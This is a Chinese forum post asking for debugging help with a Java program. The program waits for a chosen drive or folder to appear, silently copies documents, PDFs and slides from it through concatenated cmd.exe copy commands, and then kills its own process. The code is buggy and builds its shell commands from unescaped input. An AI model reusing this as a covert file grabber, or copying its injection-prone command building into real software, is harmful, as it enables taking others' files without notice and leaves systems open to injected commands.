求求了,帮忙解决下吧

Cmd.java

package src.GetDatum;
//Cmd.java

public interface Cmd {
	public void UseDos(String Code1);
}

 CmdCode.java

package src.GetDatum;
//CmdCode.java

public class CmdCode implements Cmd {
	String Code1;
	public void UseDos(String Code1) {
	       try{  
	            Runtime.getRuntime().exec("cmd.exe /C start /b "+Code1);   
	        }catch(Exception e){  
	            e.printStackTrace();  
	        } 
	}
}

 ComeTrue.java

package src.GetDatum;
//ComeTrue.java
import java.io.*;
import java.util.*;

public class ComeTrue implements SearchAndGet {
	String Path1,Path2,CopyPath,SetDatumPath,ReturnPath,CopyPath1,CopyPath2,fileSuffix,Mode,Path,Code1,Code2,ReturnName;
	File[] fileArray;
	boolean IsConnect;
	int Time,CheckTime,TimePassed,Past,Now,FileLength,past;
	int i;
	GregorianCalendar gc = new GregorianCalendar();
	CmdCode CmdCode = new CmdCode();
	File Disk,file;
	Hashtable<Integer, String> SuffixPath;
	//Methods
	public void Copy(String Path1,String Path2) {
		String CopyPath = "copy "+Path1+" "+Path2;
		CmdCode.UseDos(CopyPath);
	}
	public boolean CheckDisk() {
		File Disk = new File(SetDatumPath);
		boolean IsConnect = Disk.exists();
		this.IsConnect = IsConnect;
		return IsConnect;
	}
	public boolean Checking() {
		while(!CheckTime(past)) {
			if(CheckDisk()) {
				return true;
			}			
		}
		return false;
		
	}
	public void SetCheckTime(int Time){
		int past = (int) System.currentTimeMillis();
		this.Time = Time;
		this.past = past;
	}
	public int GetCheckTime()
		{return Time;}
	public void SetDatumPath(String SetDatumPath)
		{this.SetDatumPath = SetDatumPath;}
	public String GetDatumPath()
		{return SetDatumPath;}
	public void FindFileBySuffix(File file, String fileSuffix) {
	    File[] fileArray = file.listFiles();
	    Hashtable<Integer,String> SuffixPath = new Hashtable<Integer,String>();
	    for (File f : fileArray) {
	    	int i = this.i;
	    	if (f.isDirectory()){	            	
	    		FindFileBySuffix(f, fileSuffix);
	    	}
	    	if (f.isFile()){
	    		if(f.getName().contains(fileSuffix)){
	    			String ReturnPath = f.getPath();
	    			SuffixPath.put(i, ReturnPath);
	    			this.SuffixPath = SuffixPath;
	            	}
	        	}
	    	i++;
	    	this.i = i;
	    	}
	}
	public Hashtable<Integer, String> GetSuffixPath()
		{return SuffixPath;}
	public boolean CheckTime(int Past){
		int Now = (int) System.currentTimeMillis();
		int TimePassed = (Now - Past)/60000;
		this.Now = Now;
		this.Past = Past;
		this.TimePassed = TimePassed;
		if(TimePassed == Time) {
			return true;
		}else{
			return false;				
		}
	}
	public void CopyDatum(String CopyPath1,String CopyPath2){
		this.CopyPath1 = CopyPath1;
		this.CopyPath2 = CopyPath2;
		Copy(CopyPath1,CopyPath2);
	}
}

SearchAndGet.java

package src.GetDatum;
//SearchAndGet.java
import java.io.File;
import java.util.Hashtable;

public interface SearchAndGet {
	public void Copy(String Path1,String Path2);
	public boolean CheckDisk();
	public void SetCheckTime(int Time);
	public int GetCheckTime();
	public void SetDatumPath(String SetDatumPath);
	public String GetDatumPath();
	public void FindFileBySuffix(File file, String fileSuffix);
	public Hashtable<Integer,String> GetSuffixPath();
	public boolean CheckTime(int Past);
}

MainOfIt.java

package src.GetDatum;
//MainOfIt.java
import java.io.*;
import java.util.*;

public class MainOfIt {
	static ComeTrue ComeTrue = new ComeTrue();
	static File file;
	static Scanner sc = new Scanner(System.in);
	String TargetPath,SourcePath,suffix,Path;
	static CmdCode CmdCode = new CmdCode();	

	public static void main(String[] args) throws IOException,NullPointerException{
		System.out.print("请输入目标路径:");
		String TargetPath = sc.nextLine();
		System.out.print("请输入拷贝路径:");
		String SourcePath = sc.nextLine();
		System.out.print("请输入检测时间(单位:分钟):");
		int Time = sc.nextInt();
		ComeTrue.SetDatumPath(TargetPath);
		ComeTrue.SetCheckTime(Time);
		if(ComeTrue.Checking()) {
			String[] suffixPaths = {"docx","doc","pdf","pptx","ppt","enbx","xlsx","swf","xls"};
			File file = new File(TargetPath);
			for(int I = 0;I > suffixPaths.length ; I++) {
				String Path = suffixPaths[I];
				ComeTrue.FindFileBySuffix(file,Path);
			}			
			while(true) {
				int i = 0;
				Hashtable<Integer,String> Suffix = ComeTrue.GetSuffixPath();
				if(Suffix.contains(i)) {
					String Path1 = Suffix.get(i);
					File File = new File("Path1");
					String Path2 = SourcePath + File.getName();
					ComeTrue.Copy(Path1,Path2);
				}else {
					break;
				}
				i++;
			}
			System.out.print("success");
		}
		try {
			Thread.sleep(100);			
		} catch (Exception e) {
			e.printStackTrace();
		}finally {
			CmdCode.UseDos("taskkill /f /im GetDatum.exe");
			System.exit(0);
		}		
	}
}

报错

 求求了,帮忙解决下吧

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值